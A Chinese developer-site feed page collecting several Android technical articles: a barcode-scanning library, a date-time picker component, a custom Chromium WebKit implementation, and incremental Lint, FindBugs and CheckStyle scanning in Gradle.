  • 热更新内容使用https下载,避免被三方网络劫持

  • 不要更新违法内容、不要通过热更新破坏应用市场的利益,比如iOS的虚拟支付要老老实实给Apple分钱

如果你的应用没有犯这些错误,应用市场是不会管的。

作者:是一个秃头
来源:https://juejin.cn/post/7039273141901721608

收起阅读 »

android媲美微信扫码库

之前使用的是zxing封装的库,但是识别率和识别速度没法和微信比较,现在使用的Google开源识别库完全可以和微信媲美github:github.com/DyncKathlin…强烈推荐MIKit Barcode Scanning识别速度超快,基本上camer...
继续阅读 »



之前使用的是zxing封装的库,但是识别率和识别速度没法和微信比较,现在使用的Google开源识别库完全可以和微信媲美

github:github.com/DyncKathlin…

强烈推荐MIKit Barcode Scanning

识别速度超快,基本上camera抓取到二维码就能识别到其内容(这是重点)。
基于MIKit Barcode Scanning的识别库进行封装,操作简单。
支持识别多个二维码,条形码。
支持任意比例展示,可以1:2,1.5:2等,不会发生像拉伸变形。
使用camera,不是cameraX哦。

效果图


第一个是Google开源的,第二个是zxing开源的

使用方式

build.gradle引用

implementation 'com.github.dynckathline:barcode:2.5'

初始化和监听结果回调

        //构造出扫描管理器
      configViewFinderView(viewfinderView);
      mlKit = new MLKit(this, preview, graphicOverlay);
      //是否扫描成功后播放提示音和震动
      mlKit.setPlayBeepAndVibrate(true, true);
      //仅识别二维码
      BarcodeScannerOptions options =
              new BarcodeScannerOptions.Builder()
                      .setBarcodeFormats(
                              Barcode.FORMAT_QR_CODE,
                              Barcode.FORMAT_AZTEC)
                      .build();
      mlKit.setBarcodeFormats(null);
      mlKit.setOnScanListener(new MLKit.OnScanListener() {
          @Override
          public void onSuccess(List<Barcode> barcodes, @NonNull GraphicOverlay graphicOverlay, InputImage image) {
              showScanResult(barcodes, graphicOverlay, image);
          }

          @Override
          public void onFail(int code, Exception e) {

          }
      });

展示结果

private void showScanResult(List<Barcode> barcodes, @NonNull GraphicOverlay graphicOverlay, InputImage image) {
      if (barcodes.isEmpty()) {
          return;
      }

      mlKit.setAnalyze(false);
      CustomDialog.Builder builder = new CustomDialog.Builder(context);
      CustomDialog dialog = builder
              .setContentView(R.layout.barcode_result_dialog)
              .setLayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT)
              .setOnInitListener(new CustomDialog.Builder.OnInitListener() {
                  @Override
                  public void init(CustomDialog customDialog) {
                      Button btnDialogCancel = customDialog.findViewById(R.id.btnDialogCancel);
                      Button btnDialogOK = customDialog.findViewById(R.id.btnDialogOK);
                      TextView tvDialogContent = customDialog.findViewById(R.id.tvDialogContent);
                      ImageView ivDialogContent = customDialog.findViewById(R.id.ivDialogContent);

                      Bitmap bitmap = null;
                      ByteBuffer byteBuffer = image.getByteBuffer();
                      if (byteBuffer != null) {
                          FrameMetadata.Builder builder = new FrameMetadata.Builder();
                          builder.setWidth(image.getWidth())
                                  .setHeight(image.getHeight())
                                  .setRotation(image.getRotationDegrees());
                          bitmap = BitmapUtils.getBitmap(byteBuffer, builder.build());
                      } else {
                          bitmap = image.getBitmapInternal();
                      }
                      if (bitmap != null) {
                          graphicOverlay.add(new CameraImageGraphic(graphicOverlay, bitmap));
                      } else {
                          ivDialogContent.setVisibility(View.GONE);
                      }
                      SpanUtils spanUtils = SpanUtils.with(tvDialogContent);
                      for (int i = 0; i < barcodes.size(); ++i) {
                          Barcode barcode = barcodes.get(i);
                          BarcodeGraphic graphic = new BarcodeGraphic(graphicOverlay, barcode);
                          graphicOverlay.add(graphic);
                          Rect boundingBox = barcode.getBoundingBox();
                          spanUtils.append(String.format("(%d,%d)", boundingBox.left, boundingBox.top))
                                  .append(barcode.getRawValue())
                                  .setClickSpan(i % 2 == 0 ? getResources().getColor(R.color.colorPrimary) : getResources().getColor(R.color.colorAccent), false, new View.OnClickListener() {
                              @Override
                              public void onClick(View v) {
                                  Toast.makeText(getApplicationContext(), barcode.getRawValue(), Toast.LENGTH_SHORT).show();
                              }
                          })
                                  .setBackgroundColor(i % 2 == 0 ? getResources().getColor(R.color.colorAccent) : getResources().getColor(R.color.colorPrimary))
                                  .appendLine()
                                  .appendLine();
                      }
                      spanUtils.create();
                      Bitmap bitmapFromView = loadBitmapFromView(graphicOverlay);
                      ivDialogContent.setImageBitmap(bitmapFromView);

                      btnDialogCancel.setOnClickListener(new View.OnClickListener() {
                          @Override
                          public void onClick(View v) {
                              customDialog.dismiss();
                              finish();
                          }
                      });
                      btnDialogOK.setOnClickListener(new View.OnClickListener() {
                          @Override
                          public void onClick(View v) {
                              customDialog.dismiss();
                              mlKit.setAnalyze(true);
                          }
                      });
                  }
              })
              .build();
  }

作者:KathLine
来源:https://juejin.cn/post/6972476138203381790

收起阅读 »

Android:这是一个让你心动的日期&时间选择组件

预览引入添加 JitPack repositoryallprojects { repositories { ... maven { url "https://jitpack.io" } }}添加 Gradle依赖depe...
继续阅读 »



预览




imgimgimg

引入

添加 JitPack repository

allprojects {
repositories {
...
maven { url "https://jitpack.io" }
}
}

添加 Gradle依赖

dependencies {
  ...
  implementation 'com.google.android.material:material:1.1.0' //为了防止不必要的依赖冲突,0.0.3开始需要自行依赖google material库
  implementation 'com.github.loperSeven:DateTimePicker:0.3.0'//此处不保证最新版本,最新版需前往文末github查看
}

开始使用

内置弹窗CardDatePickerDialog

最简单的使用方式

//kotlin
    CardDatePickerDialog.builder(this)
              .setTitle("SET MAX DATE")
              .setOnChoose {millisecond->
                 
              }.build().show()
//java
new CardDatePickerDialog.Builder(this)
              .setTitle("SET MAX DATE")
              .setOnChoose("确定", aLong -> {
                   //aLong = millisecond
                   return null;
              }).build().show();

所有可配置属性

  CardDatePickerDialog.builder(context)
              .setTitle("CARD DATE PICKER DIALOG")
              .setDisplayType(displayList)
              .setBackGroundModel(model)
              .showBackNow(true)
              .setPickerLayout(layout)
              .setDefaultTime(defaultDate)
              .setMaxTime(maxDate)
              .setMinTime(minDate)
              .setWrapSelectorWheel(false)
              .setThemeColor(color)
              .showDateLabel(true)
              .showFocusDateInfo(true)
              .setLabelText("年","月","日","时","分")
              .setOnChoose("选择"){millisecond->}
              .setOnCancel("关闭") {}
              .build().show()

可配置属性说明

  • 设置标题

fun setTitle(value: String)
  • 是否显示回到当前按钮

fun showBackNow(b: Boolean)
  • 是否显示选中日期信息

fun showFocusDateInfo(b: Boolean)
  • 设置自定义选择器

//自定义选择器Layout注意事详见 【定制 DateTimePicker】
fun setPickerLayout(@NotNull layoutResId: Int)
  • 显示模式

// model 分为:CardDatePickerDialog.CARD//卡片,CardDatePickerDialog.CUBE//方形,CardDatePickerDialog.STACK//顶部圆角
// model 允许直接传入drawable资源文件id作为弹窗的背景,如示例内custom
fun setBackGroundModel(model: Int)
  • 设置主题颜色

fun setThemeColor(@ColorInt themeColor: Int)
  • 设置显示值

fun setDisplayType(vararg types: Int)
fun setDisplayType(types: MutableList<Int>)
  • 设置默认时间

fun setDefaultTime(millisecond: Long)
  • 设置范围最小值

fun setMinTime(millisecond: Long)
  • 设置范围最大值

fun setMaxTime(millisecond: Long)
  • 是否显示单位标签

fun showDateLabel(b: Boolean)
  • 设置标签文字

/**
*示例
*setLabelText("年","月","日","时","分")
*setLabelText("年","月","日","时")
*setLabelText(month="月",hour="时")
*/
fun setLabelText(year:String=yearLabel,month:String=monthLabel,day:String=dayLabel,hour:String=hourLabel,min:String=minLabel)
  • 设置是否循环滚动

/**
*示例(默认为true)
*setWrapSelectorWheel(false)
*setWrapSelectorWheel(DateTimeConfig.YEAR,DateTimeConfig.MONTH,wrapSelector = false)
*setWrapSelectorWheel(arrayListOf(DateTimeConfig.YEAR,DateTimeConfig.MONTH),false)
*/
fun setWrapSelectorWheel()
  • 绑定选择监听

/**
*示例
*setOnChoose("确定")
*setOnChoose{millisecond->}
*setOnChoose("确定"){millisecond->}
*/
fun setOnChoose(text: String = "确定", listener: ((Long) -> Unit)? = null)
  • 绑定取消监听

/**
*示例
*setOnCancel("取消")
*setOnCancel{}
*setOnCancel("取消"){}
*/
fun setOnCancel(text: String = "取消", listener: (() -> Unit)? = null)

选择器 DateTimePicker

xml中

app:layout 为自定义选择器布局 可参考 定制 DateTimePicker

        <com.loper7.date_time_picker.DateTimePicker
           android:id="@+id/dateTimePicker"
           android:layout_width="match_parent"
           android:layout_height="wrap_content"
           app:layout="@layout/layout_date_picker_segmentation"
           app:showLabel="true"
           app:textSize="16sp"
           app:themeColor="#FF8080" />

代码中

  • 设置监听

    dateTimePicker.setOnDateTimeChangedListener { millisecond ->  }

更多设置

  • 设置自定义选择器布局(注意:需要在dateTimePicker其他方法之前调用,否则其他方法将会失效)

 dateTimePicker.setLayout(R.layout.layout_date_picker_segmentation)//自定义layout resId
  • 设置显示状态

DateTimePicker支持显示 年月日时分 五个选项的任意组合,显示顺序以此为年、月、日、时、分,setDisplayType中可无序设置。

     dateTimePicker.setDisplayType(intArrayOf(
           DateTimeConfig.YEAR,//显示年
           DateTimeConfig.MONTH,//显示月
           DateTimeConfig.DAY,//显示日
           DateTimeConfig.HOUR,//显示时
           DateTimeConfig.MIN))//显示分
  • 设置默认选中时间

 dateTimePicker.setDefaultMillisecond(defaultMillisecond)//defaultMillisecond 为毫秒时间戳
  • 设置允许选择的最小时间

  dateTimePicker.setMinMillisecond(minMillisecond)
  • 设置允许选择的最大时间

  dateTimePicker.setMaxMillisecond(maxMillisecond)
  • 是否显示label标签(选中栏 年月日时分汉字)

  dateTimePicker.showLabel(true)
  • 设置主题颜色

  dateTimePicker.setThemeColor(ContextCompat.getColor(context,R.color.colorPrimary))
  • 设置字体大小

设置的字体大小为选中栏的字体大小,预览字体会根据字体大小等比缩放

  dateTimePicker.setTextSize(15)//单位为sp
  • 设置标签文字

  //全部
 dateTimePicker.setLabelText(" Y"," M"," D"," Hr"," Min")
 //指定
 dateTimePicker.setLabelText(min = "M")

定制 DateTimePicker

说明

DateTimePicker 主要由至多6个 NumberPicker 组成,所以在自定义布局时,根据自己所需的样式摆放 NumberPicker 即可。以下为注意事项

开始定制

  • DateTimePicker 至多支持6个 NumberPicker ,你可以在xml中按需摆放1-6个 NumberPicker

  • 为了让 DateTimePicker 找到 NumberPicker ,需要在xml中为 NumberPicker 指定 idtag,规则如下

/**
* year:np_datetime_year
* month:np_datetime_month
* day:np_datetime_day
* hour:np_datetime_hour
* minute:np_datetime_minute
* second:np_datetime_second
*/
android:id="@+id/np_datetime_year"  or  android:tag="np_datetime_year"
  • 使用定制UI

CardDatePickerDialog 中使用

fun setPickerLayout(@NotNull layoutResId: Int)

DateTimePicker 中使用

<com.loper7.date_time_picker.DateTimePicker
           android:id="@+id/dateTimePicker"
           android:layout_width="match_parent"
           android:layout_height="wrap_content"
           app:layout="@layout/layout_date_picker_segmentation"
           />

或者

 dateTimePicker.setLayout(R.layout.layout_date_picker_segmentation)//自定义layout resId

XML示例

示例图片

imgimg

更高的拓展性

如果以上自定义并不能满足你的需求,你还可以定制你自己的 DateTimePicker , 可参照 DateTimePicker.kt 定义你想要属性以及在代码内编写你的UI逻辑。选择器的各种逻辑约束抽离在 DateTimeController.kt ,你的 DateTimePicker 只需让 DateTimeController.kt 绑定 NumberPicker 即可。比如:

DateTimeController().bindPicker(YEAR, mYearSpinner)
          .bindPicker(MONTH, mMonthSpinner)
          .bindPicker(DAY, mDaySpinner).bindPicker(HOUR, mHourSpinner)
          .bindPicker(MIN, mMinuteSpinner).bindPicker(SECOND, mSecondSpinner).build()

作者:LOPER7
来源:https://juejin.cn/post/6917909994985750535

收起阅读 »

实现一套自己的WebKit

速度快:相比系统webview的网页打开速度有30+%的提升;省流量:使用云端优化技术使流量节省20+%;更安全:安全问题可以在24小时内修复;更稳定:经过亿级用户的使用考验,CRASH率低于0.15%;。。。打包chromium,生成官方的apk安装打开ch...
继续阅读 »

大家应该都听过腾讯的X5浏览器,据官方介绍其有以下优势:

  • 速度快:相比系统webview的网页打开速度有30+%的提升;

  • 省流量:使用云端优化技术使流量节省20+%;

  • 更安全:安全问题可以在24小时内修复;

  • 更稳定:经过亿级用户的使用考验,CRASH率低于0.15%;

  • 。。。

就不一一列举了,详细见(x5.tencent.com/docs/index.…
既然自定义webkit有能力做到这些,那我们为什么不自己试着整一个?

打包chromium,生成官方的apk

具体实现见Chromium网络请求

安装打开chrome_public_apk,它其实就是chrome浏览器app,那么我们怎么实现一套webkit呢?

webkit解构

webkit的包结构(从快手这看,容易理解)

这是快手app解开后webkit下的内容,整体上看,其实就是拷贝一套系统的webkit的api
上图1 mProvider就是webview的实现类,2 则为系统实现,既然是自定义webkit为什么要有2呢

主要应该是两个原因

  • 是chromium内核包太大了

  • 实现快速修复问题的目的,这可能就是X5提到的安全这点能在24小时之内修复

所以为了处理以上这两个问题,chromium内核一般都是插件化的实现,因此在插件还没有加载到的时候,我们只能去展示系统的webview,这里回到第一张图片,webkit adapter包下的就包含了所有webview参数和返回对象的包装,意在实现两套webkit对应的转换,比如

这里我们使用的地方调用的是com.kuaishou.webkit.CookieManager.getInstance(),在自己的内核没有加载完成的时候,所有调用都中转到了系统的android.webkit.CookieManager

难点攻坚

  • 内核模块调整,我们需要调整内核代码,把所有指向系统webkit包名全部改成我们自定义webkit的包名,为了使内核编译能通过,我们需要拷贝我们自定义的webkit这个模块到内核里去,在编译的时候把其剔除,这里我们需要去稍微了解一下gn构建配置相关的内容。

  • 插件化的实现,插件化现在应该都烂大街了,省略。

// 这里稍微提一下,加载内核apk的Classloader的实现
public static class DexClassLoaderOptimize extends DexClassLoader {
  @Override // java.lang.ClassLoader
  public Class loadClass(String str, boolean z) throws ClassNotFoundException {
      // 所有系统相关的类,或者我们的webkit层全部在我们app层找

      if (str.startsWith("java.") || ((str.startsWith("android.")
&& !str.startsWith("android.support.")) ||
str.startsWith("com.kuaishou.webkit"))) {

          return super.loadClass(str, z);
      }
      // 否则直接在插件中找
      try {
          return findClass(str);
      } catch (Exception unused) {
          return super.loadClass(str, z);
      }
  }
}
  • 整个webkit层,可以参照着快手的实现。

  • 在内核的加载过程中,主要涉及两个动态库一个是webview.so,另一个是webview_plat_support.so,其中webview_plat_support.so是Android系统内部的一个so,内核渲染的一个支持模块,我们需要使用到这个模块去做渲染的事情。(实际上Android10版本以上其实并不依赖该so去实现渲染能力)

webview_plat_support问题攻坚

webview_plat_support.so(以下简称plat_support)

一开始想过直接拷贝一份对应的so到我们的内核里,但是plat_support依赖了一些系统的动态库,api23以后ndk的动态库(见public),有些我们是引用不到的, 另外不同版本可能不同机型的plat_support的实现也有些差异,内核里需要维护太多的plat_support,增加复杂度

采用反射回调系统实现(所有内核里的native方法转到系统webview的实现),一开始在android10上测试ok,以为绕过了该问题,然而当我们在Android10以下的版本上,同时开启系统WebView和自定义webview就出现问题了,运气好的话要么系统WebView黑屏,要么自定义的WebView黑屏,多数情况下会崩溃,主要是plat_support其中一个方法nativeSetChromiumAwDrawGLFunction,保存chromium 内部渲染出口对象是一个单例实现,所以会出现两边同时都调用到这个方法,要么系统WebView黑屏,要么系统自定义Webview黑屏,所以我们需要自己实现一个plat_support,一开始参考快手的实现,因为从第三个图中,我们看到它有对应的plat_support

同时还看到了,它对系统库libskia.so的调用

实现上主要是GraphicsUtils对应的两个native方法比较复杂涉及到GraphicBuffer类 GraphicBuffer这个类位于libui.so,然而快手的plat_support中并没有找到libui.so的调用,既然不引用libui.so,我们就要自己去创建对应的对象,这里我们可以把它改成结构体

匹配所有的成员变量,就可以强转成目标对象(这和java完全不一样,一般没有关联的类的实例不能强转成目标类,不能调用的目标类的方法),只是我们需要该类原本实现的方法在本地重新实现一次,然而目标类的方法里又有别的类的调用,延展开来,最终处理的内容就很多了,还有一大堆版本适配问题,到这里暂时hold。

好了那么我们再来看看X5的实现,

好家伙,这直接反回0,然后我立马测试了一下,通过~~~
也就是说前面海量的代码实现,其实是可以删除的,chromium内部有自己默认的实现(这里我们还是可以反射转回到系统webview的实现,包括nativeGetFunctionTable)。

剩下的我们只需处理以下几个native方法即可 这个几个方法处理就非常简单了,注意kAwDrawGLInfoVersion的版本号适配就Ok了。

结语

当我们整完这一套,就可以开始我们的内核定制了,包括小程序领域所谓的同城渲染能力,JS ServerWorker的定制等等。

作者:北纬34点8度
来源:https: //juejin.cn/post/7037807249103798285

收起阅读 »

Android静态代码扫描效率优化与实践(下)

前面分析了如何获取差异文件以及增量扫描的原理,分析的重点还是侧重在Lint工具本身的实现机制上。接下来分析,在Gradle中如何实现一个增量扫描任务。大家知道,通过执行./gradlew lint命令来执行Lint静态代码检测任务。创建一个新的Android工...
继续阅读 »


Android静态代码扫描效率优化与实践(下)
Lint增量扫描Gradle任务实现

前面分析了如何获取差异文件以及增量扫描的原理,分析的重点还是侧重在Lint工具本身的实现机制上。接下来分析,在Gradle中如何实现一个增量扫描任务。大家知道,通过执行./gradlew lint命令来执行Lint静态代码检测任务。创建一个新的Android工程,在Gradle任务列表中可以在Verification这个组下面找到几个Lint任务,如下所示:

Android静态代码扫描效率优化与实践_美团_12

这几个任务就是 Android Gradle插件在加载的时候默认创建的。分别对应于以下几个Task:

  • lint->LintGlobalTask:由TaskManager创建;

  • lintDebug、lintRelease、lintVitalRelease->LintPerVariantTask:由ApplicationTaskManager或者LibraryTaskManager创建,其中lintVitalRelease只在release下生成。

所以,在Android Gradle 插件中,应用于Lint的任务分别为LintGlobalTask和LintPerVariantTask。他们的区别是前者执行的是扫描所有Variant,后者执行只针对单独的Variant。而我们的增量扫描任务其实是跟Variant无关的,因为我们会把所有差异文件都收集到。无论是LintGlobalTask或者是LintPerVariantTask,都继承自LintBaseTask。最终的扫描任务在LintGradleExecution的runLint方法中执行,这个类位于lint-gradle-26.1.1中,前面提到这个库是基于Lint的API针对Gradle任务做的一些封装。

/** Runs lint on the given variant and returns the set of warnings */
  private Pair, LintBaseline> runLint(
          @Nullable Variant variant,
          @NonNull VariantInputs variantInputs,
          boolean report, boolean isAndroid) {
      IssueRegistry registry = createIssueRegistry(isAndroid);
      LintCliFlags flags = new LintCliFlags();
      LintGradleClient client =
              new LintGradleClient(
                      descriptor.getGradlePluginVersion(),
                      registry,
                      flags,
                      descriptor.getProject(),
                      descriptor.getSdkHome(),
                      variant,
                      variantInputs,
                      descriptor.getBuildTools(),
                      isAndroid);
      boolean fatalOnly = descriptor.isFatalOnly();
      if (fatalOnly) {
          flags.setFatalOnly(true);
      }
      LintOptions lintOptions = descriptor.getLintOptions();
      if (lintOptions != null) {
          syncOptions(
                  lintOptions,
                  client,
                  flags,
                  variant,
                  descriptor.getProject(),
                  descriptor.getReportsDir(),
                  report,
                  fatalOnly);
      } else {
          // Set up some default reporters
          flags.getReporters().add(Reporter.createTextReporter(client, flags, null,
                  new PrintWriter(System.out, true), false));
          File html = validateOutputFile(createOutputPath(descriptor.getProject(), null, ".html",
                  null, flags.isFatalOnly()));
          File xml = validateOutputFile(createOutputPath(descriptor.getProject(), null, DOT_XML,
                  null, flags.isFatalOnly()));
          try {
              flags.getReporters().add(Reporter.createHtmlReporter(client, html, flags));
              flags.getReporters().add(Reporter.createXmlReporter(client, xml, false));
          } catch (IOException e) {
              throw new GradleException(e.getMessage(), e);
          }
      }
      if (!report || fatalOnly) {
          flags.setQuiet(true);
      }
      flags.setWriteBaselineIfMissing(report && !fatalOnly);

      Pair, LintBaseline> warnings;
      try {
          warnings = client.run(registry);
      } catch (IOException e) {
          throw new GradleException("Invalid arguments.", e);
      }

      if (report && client.haveErrors() && flags.isSetExitCode()) {
          abort(client, warnings.getFirst(), isAndroid);
      }

      return warnings;
  }

我们在这个方法中看到了warnings = client.run(registry),这就是Lint扫描得到的结果集。总结一下这个方法中做了哪些准备工作用于Lint扫描:

  1. 创建IssueRegistry,包含了Lint内建的BuiltinIssueRegistry;

  2. 创建LintCliFlags;

  3. 创建LintGradleClient,这里面传入了一大堆参数,都是从Gradle Android 插件的运行环境中获得;

  4. 同步LintOptions,这一步是将我们在build.gralde中配置的一些Lint相关的DSL属性,同步设置给LintCliFlags,给真正的Lint 扫描核心库使用;

  5. 执行Client的Run方法,开始扫描。

扫描的过程上面的原理部分已经分析了,现在我们思考一下如何构造增量扫描的任务。我们已经分析到扫描的关键点是client.run(registry),所以我们需要构造一个Client来执行扫描。一个想法是通过反射来获取Client的各个参数,当然这个思路是可行的,我们也验证过实现了一个用反射方式构造的Client。但是反射这种方式有个问题是丢失了从Gradle任务执行到调用Lint API开始扫描这一过程中做的其他事情,侵入性比较高,所以我们最终采用继承LintBaseTask自行实现增量扫描任务的方式。

FindBugs扫描简介

FindBugs是一个静态分析工具,它检查类或者JAR 文件,通过Apache的 BCEL 库来分析Class,将字节码与一组缺陷模式进行对比以发现问题。FindBugs自身定义了一套缺陷模式,目前的版本3.0.1内置了总计300多种缺陷,详细可参考 官方文档 。FindBugs作为一个扫描的工具集,可以非常灵活的集成在各种编译工具中。接下来,我们主要分析在Gradle中FindBugs的相关内容。

Gradle FindBugs任务属性分析

在Gradle的内置任务中,有一个FindBugs的Task,我们看一下 官方文档 对Gradle属性的描述。

选几个比较重要的属性介绍:

  • Classes

该属性表示我们要分析的Class文件集合,通常我们会把编译结果的Class目录用于扫描。
  • Classpath

分析目标集合中的Class需要用到的所有相关的Classes路径,但是并不会分析它们自身,只用于扫描。
  • Effort

包含MIN,Default,MAX,级别越高,分析得越严谨越耗时。
  • findbugsClasspath

Finbugs库相关的依赖路径,用于配置扫描的引擎库。
  • reportLevel

报告级别,分为Low,Medium,High。如果为Low,所有Bug都报告,如果为High,仅报告High优先级。
  • Reports

扫描结果存放路径。

通过以上属性解释,不难发现要FindBugs增量扫描,只需要指定Classes的文件集合就可以了。

FindBugs任务增量扫描分析

在做增量扫描任务之前,我们先来看一下FindBugs IDEA插件是如何进行单个文件扫描的。

Android静态代码扫描效率优化与实践_Android教程_13

我们选择Analyze Current File对当前文件进行扫描,扫描结果如下所示:

Android静态代码扫描效率优化与实践_Android教程_14

可以看到确实只扫描了一个文件。那么扫描到底使用了哪些输入数据呢,我们可以通过扫描结果的提示清楚看到:

Android静态代码扫描效率优化与实践_美团_15

这里我们能看到很多有用的信息:

  • 源码目录列表,包含了工程中的Java目录,res目录,以及编译过程中生成的一些类目录;

  • 需要分析的目标Class集合,为编译后的Build目录下的当前Java文件对应的Class文件;

  • Aux Classpath Entries,表示分析上面的目标文件需要用到的类路径。

所以,根据IDEA的扫描结果来看,我们在做增量扫描的时候需要解决上面这几个属性的获取。在前面我们分析的属性是Gradle在FindBugs lib的基础上,定义的一套对应的Task属性。真正的Finbugs属性我们可以通过 官方文档 或者源码中查到。

配置AuxClasspath

前文提到,ClassPath是用来分析目标文件需要用到的相关依赖Class,但本身并不会被分析,所以我们需要尽可能全的找到所有的依赖库,否则在扫描的时候会报依赖的类库找不到。

FileCollection buildClasses = project.fileTree(dir: "${project.buildDir}/intermediates/classes/${variant.flavorName}/${variant.buildType.name}",includes: classIncludes)

FileCollection targetClasspath = project.files()
GradleUtils.collectDepProject(project, variant).each { targetProject ->
  GradleUtils.getAndroidVariants(targetProject).each { targetVariant ->
      if (targetVariant.name.capitalize().equalsIgnoreCase(variant.name.capitalize())) {
          targetClasspath += targetVariant.javaCompile.classpath
      }
  }
}

classpath = variant.javaCompile.classpath + targetClasspath + buildClasses
FindBugs增量扫描误报优化

对于增量文件扫描,参与的少数文件扫描在某些模式规则上可能会出现误判,但是全量扫描不会有问题,因为参与分析的目标文件是全集。举一个例子:

class A {
public static String buildTime = "";
....
}

静态变量buildTime会被认为应该加上Final,但是其实其他类会对这个变量赋值。如果单独扫描类A文件,就会报缺陷BUG_TYPE_MS_SHOULD_BE_FINAL。我们通过FindBugs-IDEA插件来扫描验证,也同样会有一样的问题。要解决此类问题,需要找到谁依赖了类A,并且一同参与扫描,同时也需要找出类A依赖了哪些文件,简单来说:需要找出与类A有直接关联的类。为了解决这个问题,我们通过ASM来找出相关的依赖,具体如下:

void findAllScanClasses(ConfigurableFileTree allClass) {
  allScanFiles = [] as HashSet
  String buildClassDir = "${project.buildDir}/$FINDBUGS_ANALYSIS_DIR/$FINDBUGS_ANALYSIS_DIR_ORIGIN"

  Set moduleClassFiles = allClass.files
  for (File file : moduleClassFiles) {
      String[] splitPath = file.absolutePath.split("$FINDBUGS_ANALYSIS_DIR/$FINDBUGS_ANALYSIS_DIR_ORIGIN/")
      if (splitPath.length > 1) {
          String className = getFileNameNoFlag(splitPath[1],'.')
          String innerClassPrefix = ""
          if (className.contains('$')) {
              innerClassPrefix = className.split('\\$')[0]
          }
          if (diffClassNamePath.contains(className) || diffClassNamePath.contains(innerClassPrefix)) {
              allScanFiles.add(file)
          } else {
              Iterable classToResolve = new ArrayList()
              classToResolve.add(file.absolutePath)
              Set dependencyClasses = Dependencies.findClassDependencies(project, new ClassAcceptor(), buildClassDir, classToResolve)
              for (File dependencyClass : dependencyClasses) {
                  if (diffClassNamePath.contains(getPackagePathName(dependencyClass))) {
                      allScanFiles.add(file)
                      break
                  }
              }
          }
      }
  }
}

通过以上方式,我们可以解决一些增量扫描时出现的误报情况,相比IDEA工具,我们更进一步降低了扫描部分文件的误报率。

CheckStyle增量扫描

相比而言,CheckStyle的增量扫描就比较简单了。CheckStyle对源码扫描,根据[ 官方文档]各个属性的描述,我们发现只要指定Source属性的值就可以指定扫描的目标文件。

void configureIncrementScanSource() {
  boolean isCheckPR = false
  DiffFileFinder diffFileFinder

  if (project.hasProperty(CodeDetectorExtension.CHECK_PR)) {
      isCheckPR = project.getProperties().get(CodeDetectorExtension.CHECK_PR)
  }

  if (isCheckPR) {
      diffFileFinder = new DiffFileFinderHelper.PRDiffFileFinder()
  } else {
      diffFileFinder = new DiffFileFinderHelper.LocalDiffFileFinder()
  }

  source diffFileFinder.findDiffFiles(project)

  if (getSource().isEmpty()) {
      println '没有找到差异java文件,跳过checkStyle检测'
  }
}

优化结果数据

经过全量扫描和增量扫描的优化,我们整个扫描效率得到了很大提升,一次PR构建扫描效率整体提升50%+。优化数据如下:

Android静态代码扫描效率优化与实践_Android教程_16

落地与沉淀

扫描工具通用性

解决了扫描效率问题,我们想怎么让更多的工程能低成本的使用这个扫描插件。对于一个已经存在的工程,如果没有使用过静态代码扫描,我们希望在接入扫描插件后续新增的代码能够保证其经过增量扫描没有问题。而老的存量代码,由于代码量过大增量扫描并没有效率上的优势,我们希望可以使用全量扫描逐步解决存量代码存在的问题。同时,为了配置工具的灵活,也提供配置来让接入方自己决定选择接入哪些工具。这样可以让扫描工具同时覆盖到新老项目,保证其通用。所以,要同时支持配置使用增量或者全量扫描任务,并且提供灵活的选择接入哪些扫描工具

扫描完整性保证

前面提到过,在FindBugs增量扫描可能会出现因为参与分析的目标文件集不全导致的某类匹配规则误报,所以在保证扫描效率的同时,也要保证扫描的完整性和准确性。我们的策略是以增量扫描为主,全量扫描为辅,PR提交使用增量扫描提高效率,在CI配置Daily Build使用全量扫描保证扫描完整和不遗漏

我们在自己的项目中实践配置如下:

apply plugin: 'code-detector'

codeDetector {
  // 配置静态代码检测报告的存放位置
  reportRelativePath = rootProject.file('reports')

  /**
    * 远程仓库地址,用于配置提交pr时增量检测
    */
  upstreamGitUrl = "ssh://git@xxxxxxxx.git"

  checkStyleConfig {
      /**
        * 开启或关闭 CheckStyle 检测
        * 开启:true
        * 关闭:false
        */
      enable = true
      /**
        * 出错后是否要终止检查
        * 终止:false
        * 不终止:true。配置成不终止的话 CheckStyleTask 不会失败,也不会拷贝错误报告
        */
      ignoreFailures = false
      /**
        * 是否在日志中展示违规信息
        * 显示:true
        * 不显示:false
        */
      showViolations = true
      /**
        * 统一配置自定义的 checkstyle.xml 和 checkstyle.xsl 的 uri
        * 配置路径为:
        *     "${checkStyleUri}/checkstyle.xml"
        *     "${checkStyleUri}/checkstyle.xsl"
        *
        * 默认为 null,使用 CodeDetector 中的默认配置
        */
      checkStyleUri = rootProject.file('codequality/checkstyle')
  }

  findBugsConfig {
      /**
        * 开启或关闭 Findbugs 检测
        * 开启:true
        * 关闭:false
        */
      enable = true
      /**
        * 可选项,设置分析工作的等级,默认值为 max
        * min, default, or max. max 分析更严谨,报告的 bug 更多. min 略微少些
        */
      effort = "max"
      /**
        * 可选项,默认值为 high
        * low, medium, high. 如果是 low 的话,那么报告所有的 bug
        */
      reportLevel = "high"
      /**
        * 统一配置自定义的 findbugs_include.xml 和 findbugs_exclude.xml 的 uri
        * 配置路径为:
        *     "${findBugsUri}/findbugs_include.xml"
        *     "${findBugsUri}/findbugs_exclude.xml"
        * 默认为 null,使用 CodeDetector 中的默认配置
        */
      findBugsUri = rootProject.file('codequality/findbugs')
  }

  lintConfig {

      /**
        * 开启或关闭 lint 检测
        * 开启:true
        * 关闭:false
        */
      enable = true

      /**
        * 统一配置自定义的 lint.xml 和 retrolambda_lint.xml 的 uri
        * 配置路径为:
        *     "${lintConfigUri}/lint.xml"
        *     "${lintConfigUri}/retrolambda_lint.xml"
        * 默认为 null,使用 CodeDetector 中的默认配置
        */
      lintConfigUri = rootProject.file('codequality/lint')
  }
}

我们希望扫描插件可以灵活指定增量扫描还是全量扫描以应对不同的使用场景,比如已存在项目的接入、新项目的接入、打包时的检测等。

执行脚本示例:

./gradlew ":${appModuleName}:assemble${ultimateVariantName}" -PdetectorEnable=true -PcheckStyleIncrement=true -PlintIncrement=true -PfindBugsIncrement=true -PcheckPR=${checkPR} -PsourceCommitHash=${sourceCommitHash} -PtargetBranch=${targetBranch} --stacktrace

希望一次任务可以暴露所有扫描工具发现的问题,当某一个工具扫描到问题后不终止任务,如果是本地运行在发现问题后可以自动打开浏览器方便查看问题原因。

def finalizedTaskArray = [lintTask,checkStyleTask,findbugsTask]
checkCodeTask.finalizedBy finalizedTaskArray

"open ${reportPath}".execute()

